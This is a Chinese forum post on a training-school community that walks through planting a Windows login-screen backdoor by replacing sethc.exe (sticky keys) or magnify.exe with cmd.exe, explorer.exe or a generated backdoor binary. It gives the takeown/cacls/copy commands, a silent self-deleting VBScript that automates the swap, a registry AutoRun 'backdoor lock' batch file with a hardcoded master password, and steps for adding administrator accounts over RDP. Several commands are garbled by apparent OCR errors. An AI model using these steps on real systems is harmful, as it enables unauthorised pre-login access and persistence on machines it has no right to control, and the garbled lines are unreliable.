A股上市公司传智教育(股票代码 003032)旗下技术交流社区北京昌平校区

 找回密码
 加入黑马

QQ登录

只需一步,快速开始

变态入侵之有史以来最酷的Windows后门sethc.exe

给大家分享一下一个不错的帖子,又不懂得可以回复,我可以说明哦!
只是做个技术交流:

后门原理:  

在windows 2000/xp/vista/win7/win10下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。  

XP:  

将安装源光盘弹出(或将硬盘上的安装目录改名)  
cd %widnir%\system32\dllcache  
ren sethc.exe *.ex~  
cd %widnir%\system32  
copy /y cmd.exe sethc.exe  

VISTA:  

takeown /f c:\windows\system32\sethc.exe  
cacls c:\windows\system32\sethc.exe /G administrator:F  
然后按XP方法替换文件  

在登录界面按5此SHIFT,出来cmd shell,然后……  

后门扩展:
复制代码 代码如下:

Dim obj, success   
Set obj = CreateObject("WScript.Shell")   
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)   
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)   
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)   
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)   
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)   
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)   


第二句最有意思了.自动应答....以前就遇到过类似的问题  
再更新.加个自删除,简化代码...   
复制代码 代码如下:

On Error Resume Next   
Dim obj, success   
Set obj = CreateObject("WScript.Shell")   
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)   
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)  

后门锁扩展:  
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证  
用下面的后门锁的方法是 把代码保存为bdlock.bat  
然后修改注册表位置即可  
复制代码 代码如下:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]   
"AutoRun"="bdlock.bat"   

@Echo Off   
title 后门登陆验证   
color a   
cls   
set temprandom=%RANDOM%   
echo 请输入验证码:%temprandom%   
set/p check=   
if "%check%"=="%temprandom%%temprandom%" goto passcheck   
if "%check%"=="%temprandom%" (   
rem 后门服务器验证   
rem 如果没有后门验证服务器请rem注释掉下一行代码   
if exist \192.168.8.8\backdoor$\pass goto passcheck   
)   
echo 验证失败   
pause   
exit   
:passcheck   
echo 验证成功   
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx   
Set passcmdlock=http://blog.csdn.net/freexploit/   
:allyesno   
Set Errorlevel=>nul   
Echo 请输入验证密码?   
Set password=allyesno Is a pig>nul   
Set/p password=   
rem 万能密码   
if "%password%"=="allyesno is a sb" goto endx   
If %time:~1,1%==0 Set timechange=a   
If %time:~1,1%==1 Set timechange=b   
If %time:~1,1%==2 Set timechange=c   
If %time:~1,1%==3 Set timechange=d   
If %time:~1,1%==4 Set timechange=e   
If %time:~1,1%==5 Set timechange=f   
If %time:~1,1%==6 Set timechange=g   
If %time:~1,1%==7 Set timechange=h   
If %time:~1,1%==8 Set timechange=i   
If %time:~1,1%==9 Set timechange=j   
set/a sum=%time:~1,1%+%time:~1,1%   
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul   
If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End   
Echo 请联系客服咨询正确密码!&Goto allyesno   
:End   
Set password=>nul   
Set Errorlevel=>nul   
Echo   

:endx  
点击“开始”菜单-“运行”,输入命令“CMD”。回车后打开命令提示符窗口。在命令提示符窗口中,执行如下命令:
  copy c:\wmdows\explorer.exe c:\windows\system32\sethc.exe
  copy c:\wmdows\system32\sethc.exe c:\windows\system32\dUcache\sethc.exe
  attrib c:\windows\system32\sethc.exe+h
  atmb c:\wmdows\svstem32\dUcache\sethc.exe+h
  这几句命令的作用,是将系统中的辅助工具“sethc.exe”。替换成为“explerer.exe”,这样就可以在3389或本地登录界面中打开粘滞键开关了。以后在3389远程连接窗口中,连续按下5次Shift键。即可自动打开资源管理器。点击工具栏“向上”按钮。返回到桌面,右键点击“我的电脑”。在弹出菜单中选择“管理”命令,打开管理工具,直接添加用户名即可。也可以打开控制面板中的用户帐户,添加管理员帐户。用同样的原理,也可将“sethc.exe”。替换成为“cmd.exe”,即可在CMDSHELL中执行帐户添加命令。
  小提示
  在windows2000/xp/vista下,连续按shift键5次,可以运行“sethc,exe”打开粘滞键,而且在登录界面里也可以打开。采用替换“sethc.exe”的文件的方法,就可以实现运行任意程序的目的。其原理类似于将Windows系统的屏保程序替换成“cmd.exe”。就可以打开shell了。
   
  留个放大镜后门
  上面利用的是粘滞键辅助工具。其实系统中还有其它的辅助工具。比如“放大镜”——按下Win+U组合键,即可打开放大镜辅助工具。可以用与上面相同的方法来创建一个后门。不过这里我们利用工具来完成操作,并且还要为后门加上一个密码。
  运行“放大镜后门生成器”,在“后门启动密码”中输入要设置的后门密码。然后点击“生成”按钮,指定生成文件名路径为“C:\ivy.exe”。然后点击“开始”菜单-“运行”。输入命令“CMD”。回车后打开命令提示符窗口。在命令窗口中执行如下命令:
   copy %systemroot%\system32\magnify.exe%systemroot%\system32\nagnify.exe

copy C \ivy exe %systemroot%\system32\magmfy.exe
   copy C:\ivy.exe%systemroot%\system32\dllcache\magnify.exe
  执行命令成功后,后门就创建成功了。以后在本地或3389远程登录界面中。按下Win+U组合键,打开辅助工具对话框,选择“放大镜”,点击“启动”按钮,要求输入设定的后门启动密码。确定后。打开后门程序,可执行“cmd.exe”和程序自己添加自定义用户。直接输入要添加的用户名和密码。点击“添加”按钮即可。要执行CMD命令的话,可点击“执行CMD命令”按钮,即可打开CMD命令提示符窗口。

1 个回复

倒序浏览
yangkaiwei 来自手机 中级黑马 2016-5-1 21:08:07
沙发
这个代码是批处理batch,是基于dos的命令,有会得同学吗?交流交流,vbs或VB高手?
回复 使用道具 举报
您需要登录后才可以回帖 登录 | 加入黑马